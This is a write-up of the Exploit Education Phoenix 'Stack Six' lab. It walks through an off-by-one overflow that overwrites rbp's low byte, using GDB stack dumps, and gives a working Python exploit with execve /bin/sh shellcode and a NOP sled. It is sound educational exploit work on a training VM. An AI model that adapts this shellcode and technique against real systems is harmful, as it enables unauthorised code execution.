Background
I solved a stack smashing challenge found in Exploit Education's Phoenix, namely Stack Six. I found it to be an interesting example of how just overwriting one byte can lead to RCE. We are given the following source code.
/*
* phoenix/stack-six, by https://exploit.education
*
* Can you execve("/bin/sh", ...) ?
*
* Why do fungi have to pay double bus fares? Because they take up too
* mushroom.
*/
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define BANNER \
"Welcome to " LEVELNAME ", brought to you by https://exploit.education"
char *what = GREET;
char *greet(char *who) {
char buffer[128];
int maxSize;
maxSize = strlen(who);
if (maxSize > (sizeof(buffer) - /* ensure null termination */ 1)) {
maxSize = sizeof(buffer) - 1;
}
strcpy(buffer, what);
strncpy(buffer + strlen(buffer), who, maxSize);
return strdup(buffer);
}
int main(int argc, char **argv) {
char *ptr;
printf("%s\n", BANNER);
#ifdef NEWARCH
if (argv[1]) {
what = argv[1];
}
#endif
ptr = getenv("ExploitEducation");
if (NULL == ptr) {
// This style of comparison prevents issues where you may accidentally
// type if(ptr = NULL) {}..
errx(1, "Please specify an environment variable called ExploitEducation");
}
printf("%s\n", greet(ptr));
return 0;
}
The bug
We pass input by setting the ExploitEducation
environment variable. Then our input is seemingly bounds checked. If our input is longer than 127 bytes, only the first 127 bytes are copied into buffer
.
However, notice the program does not account for the length of what
. It blindly copies the contents of what
into buffer
before copying our input. This means we still can overflow the buffer! Let's try inputting 128 A
s.
user@phoenix-amd64:~$ export ExploitEducation=`python -c "print 'A' * 128"`
user@phoenix-amd64:~$
Debug the program in GDB. I decide to set two breakpoints: at the prologue and epilogue of main
. I also set another breakpoint after the the call to strncpy
in greet
.
gef➤ break *main
Breakpoint 1 at 0x40079b
gef➤ break *main + 91
Breakpoint 2 at 0x4007f7
gef➤ break *greet + 133
Breakpoint 3 at 0x400782
gef➤ run
Right away we pause at the start of main. Let's find where our 128 A
s are. We know that our input is in an environment variable. GEF shows which registers are pointing to strings.
$rbx : 0x00007fffffffe5e8 → 0x00007fffffffe7fa → "/opt/phoenix/amd64/stack-six"
$rdx : 0x00007fffffffe5f8 → 0x00007fffffffe817 → "LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so[...]"
$rsi : 0x00007fffffffe5e8 → 0x00007fffffffe7fa → "/opt/phoenix/amd64/stack-six"
Immediately we see a familiar environment variable LS_COLORS
. Let's dump some more strings from 0x00007fffffffe7fa
onwards.
gef➤ x/40s 0x00007fffffffe7fa
0x7fffffffe7fa: "/opt/phoenix/amd64/stack-six"
💇
0x7fffffffeeb3: "COLUMNS=99"
0x7fffffffeebe: "MAIL=/var/mail/user"
0x7fffffffeed2: "SHELL=/bin/bash"
0x7fffffffeee2: "TERM=xterm-256color"
0x7fffffffeef6: "SHLVL=1"
0x7fffffffeefe: "ExploitEducation=", 'A' <repeats 128 times>
💇
We've found our input. Note that our A
s start after the string "ExploitEducation=", which measures 17 bytes. GEF allows us to do some quick calculation.
gef➤ $ 0x7fffffffeefe+17
140737488350991
0x7fffffffef0f
0b11111111111111111111111111111111110111100001111
b'\x7f\xff\xff\xff\xef\x0f'
b'\x0f\xef\xff\xff\xff\x7f'
If we now dump 128 characters from 0x7fffffffef0f
we should see our A
s.
gef➤ x/128c 0x7fffffffef0f
0x7fffffffef0f: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fffffffef17: 0x41 0x41 0x41 0x41 0x41 💇
Perfect. We continue execution till we hit the breakpoint in greet
. Let's examine the stack.
gef➤ continue
Continuing.
Welcome to phoenix/stack-six, brought to you by https://exploit.education
💇
gef➤ x/32gx $rsp
0x7fffffffe4b0: 0x00007ffff7ffc948 0x00007fffffffef0f
0x7fffffffe4c0: 0x2c656d6f636c6557 0x6c70206d61204920
0x7fffffffe4d0: 0x6f74206465736165 0x6f79207465656d20
0x7fffffffe4e0: 0x4141414141412075 0x4141414141414141
0x7fffffffe4f0: 0x4141414141414141 0x4141414141414141
💇
0x7fffffffe540: 0x4141414141414141 0x4141414141414141
0x7fffffffe550: 0x4141414141414141 0x4141414141414141
0x7fffffffe560: 0x00007fffffffe541 0x00000000004007e9
0x7fffffffe570: 0x00007fffffffe5e8 0x00000001ffffe5f8
0x7fffffffe580: 0x000000000040079b 0x00007fffffffef0f
0x7fffffffe590: 0x0000000000000001 0x00007ffff7d8fd62
0x7fffffffe5a0: 0x0000000000000000 0x00007fffffffe5e0
We can see our A
s fill up the buffer nicely. Did we overwrite any pointers? Let's check the registers.
$rsp : 0x00007fffffffe4b0 → 0x00007ffff7ffc948 → "Welcome to phoenix/stack-six, brought to you by ht[...]"
$rbp : 0x00007fffffffe560 → 0x00007fffffffe541 → 0x4141414141414141 ("AAAAAAAA"?)
$rsi : 0x0
$rdi : 0x00007fffffffe561 → 0xe900007fffffffe5
$rip : 0x0000000000400782 → <greet+133> lea rax, [rbp-0xa0]
Woah! The rbp
register is pointing to our A
s? And the least significant byte has a value of 0x41. Hmm... Let's rerun the program inputting just 126 A
s and one B
. Debug the program setting the same breakpoints.
user@phoenix-amd64:~$ export ExploitEducation=`python -c "print 'A' * 126 + 'B'"`
user@phoenix-amd64:~$ gdb /opt/phoenix/amd64/stack-six
Back to where we were just now, let's examine the stack.
gef➤ x/32gx $rsp
0x7fffffffe4b0: 0x00007ffff7ffc948 0x00007fffffffef10
0x7fffffffe4c0: 0x2c656d6f636c6557 0x6c70206d61204920
0x7fffffffe4d0: 0x6f74206465736165 0x6f79207465656d20
0x7fffffffe4e0: 0x4141414141412075 0x4141414141414141
0x7fffffffe4f0: 0x4141414141414141 0x4141414141414141
💇
0x7fffffffe540: 0x4141414141414141 0x4141414141414141
0x7fffffffe550: 0x4141414141414141 0x4141414141414141
0x7fffffffe560: 0x00007fffffffe542 0x00000000004007e9
0x7fffffffe570: 0x00007fffffffe5e8 0x00000001ffffe5f8
0x7fffffffe580: 0x000000000040079b 0x00007fffffffef10
0x7fffffffe590: 0x0000000000000001 0x00007ffff7d8fd62
0x7fffffffe5a0: 0x0000000000000000 0x00007fffffffe5e0
We examine the registers and indeed, we can overwrite one byte of rbp
.
$rsp : 0x00007fffffffe4b0 → 0x00007ffff7ffc948 → "Welcome to phoenix/stack-six, brought to you by ht[...]"
$rbp : 0x00007fffffffe560 → 0x00007fffffffe542 → 0x4141414141414141 ("AAAAAAAA"?)
$rsi : 0x0
$rdi : 0x00007fffffffe561 → 0xe900007fffffffe5
$rip : 0x0000000000400782 → <greet+133> lea rax, [rbp-0xa0]
How does this help us? If we look at the subsequent instructions, we see that a value is popped off the stack into rbp
.
→ 0x400782 <greet+133> lea rax, [rbp-0xa0]
0x400789 <greet+140> mov rdi, rax
0x40078c <greet+143> call 0x400560 <strdup@plt>
0x400791 <greet+148> add rsp, 0xa8
0x400798 <greet+155> pop rbx
0x400799 <greet+156> pop rbp
We break at that instruction and realise that value has our B
in it!
gef➤ break *greet + 156
Breakpoint 4 at 0x400799
gef➤ continue
💇
$rsp : 0x00007fffffffe560 → 0x00007fffffffe542 → 0x4141414141414141 ("AAAAAAAA"?)
Step over and we see rbp
is indeed set to our corrupt value.
gef➤ ni
💇
$rbp : 0x00007fffffffe542 → 0x4141414141414141 ("AAAAAAAA"?)
We continue to our last breakpoint, a leave
instruction in main
. A leave
achieves the same thing as
mov rsp, rbp
pop rbp
First, rsp
will be set to the value of rbp
. This is their current state.
$rsp : 0x00007fffffffe570 → 0x00007fffffffe5e8 → 0x00007fffffffe7fb → "/opt/phoenix/amd64/stack-six"
$rbp : 0x00007fffffffe542 → 0x993400007ffff7ff
Step over and we see rsp
set to 0x00007fffffffe542
plus 8 (remember popping a value off the stack adds 8 to rsp
).
$rsp : 0x00007fffffffe54a → 0x414100007ffff7db
$rbp : 0x993400007ffff7ff
What's the next instruction? That's right, a ret
which is basically pop rip
. Since rsp
is pointing to some garbage value, we will segfault.
Plan of attack
Just by overwriting one byte, we redirected code execution. How can we use this to our advantage and pop a shell? First, we need to realise that by controlling the least significant byte, we only can overwrite rbp
to point from 0x00007fffffffe500
to ff
. We could point back into buffer
but by the time we jump back, that stack frame would already be cleared.
But how about our environment variable? Its contents remain on the stack as long as we are still in the shell. Recall that greet
takes one argument, a character pointer to our environment variable. We know that arguments passed to a function are stored after its return address.
With our input of 128 A
s, the address we calculated was 0x7fffffffef0f
. When we hit the breakpoint in greet
and dump out the stack, we can clearly see that address stored on the stack at 0x7fffffffe588
.
gef➤ continue
Continuing.
Welcome to phoenix/stack-six, brought to you by https://exploit.education
💇
gef➤ x/32gx $rsp
💇
0x7fffffffe540: 0x4141414141414141 0x4141414141414141
0x7fffffffe550: 0x4141414141414141 0x4141414141414141
0x7fffffffe560: 0x00007fffffffe541 0x00000000004007e9
0x7fffffffe570: 0x00007fffffffe5e8 0x00000001ffffe5f8
0x7fffffffe580: 0x000000000040079b 0x00007fffffffef0f
0x7fffffffe590: 0x0000000000000001 0x00007ffff7d8fd62
0x7fffffffe5a0: 0x0000000000000000 0x00007fffffffe5e0
We have established that at before returning from main
, rsp
will be whatever rbp
was plus 8. So subtracting 8 from 0x7fffffffe588
we will get 0x7fffffffe580
. With our overflow, can we set rbp
to be 0x7fffffffe580
? Definitely, as it is within our range (0x7fffffffe500
to ff
).
Exploitation
import struct
# execve /bin/sh - http://shell-storm.org/shellcode/files/shellcode-806.php
shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91"
shellcode += "\xd0\x8c\x97\xff\x48\xf7\xdb\x53"
shellcode += "\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" # 27 bytes
fake_rbp = "\x80"
payload = "\x90" * 50
payload += shellcode
payload += "A" * (127 - len(payload) - 1)
payload += fake_rbp
print payload
When we debug the program with our payload we get a shell!
However, trying outside GDB we segfault 😢 Turns out GDB adds some environment variables and that affects the stack. To get a more accurate view of the stack, we run the following commands before running the program.
gef➤ unset env LINES
gef➤ unset env COLUMNS
gef➤ set env _ /opt/phoenix/amd64/stack-six
Hit the breakpoint in greet
and dump out the stack. Notice the addresses have changed.
gef➤ x/32gx $rsp
0x7fffffffe4d0: 0x00007ffff7ffc948 0x00007fffffffef10
0x7fffffffe4e0: 0x2c656d6f636c6557 0x6c70206d61204920
0x7fffffffe4f0: 0x6f74206465736165 0x6f79207465656d20
0x7fffffffe500: 0x9090909090902075 0x9090909090909090
0x7fffffffe510: 0x9090909090909090 0x9090909090909090
0x7fffffffe520: 0x9090909090909090 0x9090909090909090
0x7fffffffe530: 0xbb48c03190909090 0xff978cd091969dd1
0x7fffffffe540: 0x52995f5453dbf748 0x41050f3bb05e5457
0x7fffffffe550: 0x4141414141414141 0x4141414141414141
0x7fffffffe560: 0x4141414141414141 0x4141414141414141
0x7fffffffe570: 0x4141414141414141 0x4141414141414141
0x7fffffffe580: 0x00007fffffffe580 0x00000000004007e9
0x7fffffffe590: 0x00007fffffffe608 0x00000001ffffe618
0x7fffffffe5a0: 0x000000000040079b 0x00007fffffffef10
0x7fffffffe5b0: 0x0000000000000001 0x00007ffff7d8fd62
0x7fffffffe5c0: 0x0000000000000000 0x00007fffffffe600
Update the least significant byte from 80
to a0
and we should be golden.
Top comments (0)